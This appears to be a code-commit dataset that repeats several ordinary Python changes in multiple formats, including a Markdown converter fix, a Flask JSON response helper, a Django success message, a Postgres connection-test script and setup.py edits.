<commit_before>__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} return DictAsMember(converted) <commit_msg>Call the reset() method in the Markdown object to clear extensions (e.g. metadata) between processing each file.<commit_after>
__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} md.reset() return DictAsMember(converted)
__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} return DictAsMember(converted) Call the reset() method in the Markdown object to clear extensions (e.g. metadata) between processing each file.__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} md.reset() return DictAsMember(converted)
<commit_before>__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} return DictAsMember(converted) <commit_msg>Call the reset() method in the Markdown object to clear extensions (e.g. metadata) between processing each file.<commit_after>__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} md.reset() return DictAsMember(converted)
77346899a001be6cee1f2bda50156647e6bca87a
deployer/views/util.py
deployer/views/util.py
import json from flask import Response def build_response(output, status=200, mimetype='application/json', headers={}): return Response( json.dumps(output), mimetype=mimetype ), status, headers
import json from flask import Response, jsonify def build_response(output, status=200, mimetype='application/json', headers={}): resp = jsonify(output) resp.mimetype = mimetype return resp, status, headers
Fix issue with datetime handling
Fix issue with datetime handling
Python
mit
totem/cluster-deployer,totem/cluster-deployer,totem/cluster-deployer
import json from flask import Response def build_response(output, status=200, mimetype='application/json', headers={}): return Response( json.dumps(output), mimetype=mimetype ), status, headers Fix issue with datetime handling
import json from flask import Response, jsonify def build_response(output, status=200, mimetype='application/json', headers={}): resp = jsonify(output) resp.mimetype = mimetype return resp, status, headers
<commit_before>import json from flask import Response def build_response(output, status=200, mimetype='application/json', headers={}): return Response( json.dumps(output), mimetype=mimetype ), status, headers <commit_msg>Fix issue with datetime handling<commit_after>
import json from flask import Response, jsonify def build_response(output, status=200, mimetype='application/json', headers={}): resp = jsonify(output) resp.mimetype = mimetype return resp, status, headers
import json from flask import Response def build_response(output, status=200, mimetype='application/json', headers={}): return Response( json.dumps(output), mimetype=mimetype ), status, headers Fix issue with datetime handlingimport json from flask import Response, jsonify def build_response(output, status=200, mimetype='application/json', headers={}): resp = jsonify(output) resp.mimetype = mimetype return resp, status, headers
<commit_before>import json from flask import Response def build_response(output, status=200, mimetype='application/json', headers={}): return Response( json.dumps(output), mimetype=mimetype ), status, headers <commit_msg>Fix issue with datetime handling<commit_after>import json from flask import Response, jsonify def build_response(output, status=200, mimetype='application/json', headers={}): resp = jsonify(output) resp.mimetype = mimetype return resp, status, headers
10494456af67270f28853872dd8072f01872b6db
src/pipelines/views.py
src/pipelines/views.py
from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs
from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.utils.translation import ugettext_lazy as _ from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs def form_valid(self, form): response = super().form_valid(form) messages.add_message( self.request, messages.INFO, _('You just created a %(analysis_type)s analysis!') % { 'analysis_type': self.object.analysis_type } ) return response
Add message after successfully created an new analysis
Add message after successfully created an new analysis
Python
mit
ccwang002/biocloud-server-kai,ccwang002/biocloud-server-kai,ccwang002/biocloud-server-kai
from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs Add message after successfully created an new analysis
from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.utils.translation import ugettext_lazy as _ from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs def form_valid(self, form): response = super().form_valid(form) messages.add_message( self.request, messages.INFO, _('You just created a %(analysis_type)s analysis!') % { 'analysis_type': self.object.analysis_type } ) return response
<commit_before>from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs <commit_msg>Add message after successfully created an new analysis<commit_after>
from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.utils.translation import ugettext_lazy as _ from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs def form_valid(self, form): response = super().form_valid(form) messages.add_message( self.request, messages.INFO, _('You just created a %(analysis_type)s analysis!') % { 'analysis_type': self.object.analysis_type } ) return response
from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs Add message after successfully created an new analysisfrom django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.utils.translation import ugettext_lazy as _ from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs def form_valid(self, form): response = super().form_valid(form) messages.add_message( self.request, messages.INFO, _('You just created a %(analysis_type)s analysis!') % { 'analysis_type': self.object.analysis_type } ) return response
<commit_before>from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs <commit_msg>Add message after successfully created an new analysis<commit_after>from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.utils.translation import ugettext_lazy as _ from django.views.generic import CreateView from .forms import AbstractPipelineCreateForm class AbstractPipelineFormView(LoginRequiredMixin, CreateView): form_class = AbstractPipelineCreateForm template_name = None def get_form_kwargs(self): """Pass request object for form creation""" kwargs = super().get_form_kwargs() kwargs['request'] = self.request return kwargs def form_valid(self, form): response = super().form_valid(form) messages.add_message( self.request, messages.INFO, _('You just created a %(analysis_type)s analysis!') % { 'analysis_type': self.object.analysis_type } ) return response
d24cd893e3969eba6b23ee98ff0787622685f8c6
bin/testconnection.py
bin/testconnection.py
#!/usr/bin/python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../portal/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue))
#!/usr/bin/env python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../instance/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue))
Use virtualenv python & look for config file in new instance directory.
Use virtualenv python & look for config file in new instance directory.
Python
bsd-3-clause
uwcirg/true_nth_usa_portal,uwcirg/true_nth_usa_portal,uwcirg/true_nth_usa_portal,uwcirg/true_nth_usa_portal
#!/usr/bin/python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../portal/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue)) Use virtualenv python & look for config file in new instance directory.
#!/usr/bin/env python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../instance/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue))
<commit_before>#!/usr/bin/python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../portal/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue)) <commit_msg>Use virtualenv python & look for config file in new instance directory.<commit_after>
#!/usr/bin/env python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../instance/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue))
#!/usr/bin/python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../portal/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue)) Use virtualenv python & look for config file in new instance directory.#!/usr/bin/env python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../instance/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue))
<commit_before>#!/usr/bin/python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../portal/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue)) <commit_msg>Use virtualenv python & look for config file in new instance directory.<commit_after>#!/usr/bin/env python import psycopg2 import sys import os def parse_connection_uri(): here, _ = os.path.split(__file__) with open(os.path.join(here, '../instance/application.cfg'), 'r') as fh: conn_strings = [l for l in fh.readlines() if l.startswith('SQLALCHEMY_DATABASE_URI')] if len(conn_strings) != 1: raise ValueError("can't find connection string in application.cfg") conn_uri = conn_strings[0].split('=')[1] return conn_uri.strip()[1:-1] # strip quotes, newlines connection_uri = parse_connection_uri() print "Connecting to database\n ->{}".format(connection_uri) try: conn = psycopg2.connect(connection_uri) cursor = conn.cursor() print "Connected!\n" except: exceptionType, exceptionValue, exceptionTraceback = sys.exc_info() sys.exit("Database connection failed!\n ->%s" % (exceptionValue))
31a342983029923bedc8301210cea6fd8cd278fa
django_actions/urls.py
django_actions/urls.py
from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='url_act'), )
from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='action'), )
Change URL for something clearer
Change URL for something clearer
Python
bsd-2-clause
qdqmedia/django-actions,qdqmedia/django-actions
from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='url_act'), ) Change URL for something clearer
from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='action'), )
<commit_before>from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='url_act'), ) <commit_msg>Change URL for something clearer<commit_after>
from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='action'), )
from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='url_act'), ) Change URL for something clearerfrom django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='action'), )
<commit_before>from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='url_act'), ) <commit_msg>Change URL for something clearer<commit_after>from django.conf.urls.defaults import patterns, include, url urlpatterns = patterns('django_actions.views', url(r'^(?P<app_n_model>[\w\.]+)/$', 'act', name='action'), )
f04109b352fc8a83696633d01eaae8ac4ce7dc5e
setup.py
setup.py
from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/johnsdea/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} )
from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/dean/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} )
Update url with new Github username.
Update url with new Github username.
Python
mpl-2.0
dean/hamper-pizza
from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/johnsdea/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} ) Update url with new Github username.
from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/dean/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} )
<commit_before>from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/johnsdea/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} ) <commit_msg>Update url with new Github username.<commit_after>
from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/dean/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} )
from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/johnsdea/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} ) Update url with new Github username.from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/dean/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} )
<commit_before>from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/johnsdea/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} ) <commit_msg>Update url with new Github username.<commit_after>from distutils.core import setup with open('requirements.txt') as f: requirements = [l.strip() for l in f] setup( name='hamper-pizza', version='0.1', packages=['hamper-pizza'], author='Dean Johnson', author_email='deanjohnson222@gmail.com', url='https://github.com/dean/hamper-pizza', install_requires=requirements, package_data={'hamper-pizza': ['requirements.txt', 'README.md', 'LICENSE']} )
4eea07a5f0a23ff71729c5b24a4886a08bf7f6b5
setup.py
setup.py
# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.1", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", )
# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.2", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), install_requires={ "httplib2 >= 0.9", }, test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", )
Declare dependency on httplib2, and bump version.
Declare dependency on httplib2, and bump version.
Python
agpl-3.0
blakerouse/python-libmaas,alburnum/alburnum-maas-client
# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.1", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", ) Declare dependency on httplib2, and bump version.
# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.2", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), install_requires={ "httplib2 >= 0.9", }, test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", )
<commit_before># Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.1", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", ) <commit_msg>Declare dependency on httplib2, and bump version.<commit_after>
# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.2", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), install_requires={ "httplib2 >= 0.9", }, test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", )
# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.1", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", ) Declare dependency on httplib2, and bump version.# Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.2", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), install_requires={ "httplib2 >= 0.9", }, test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", )
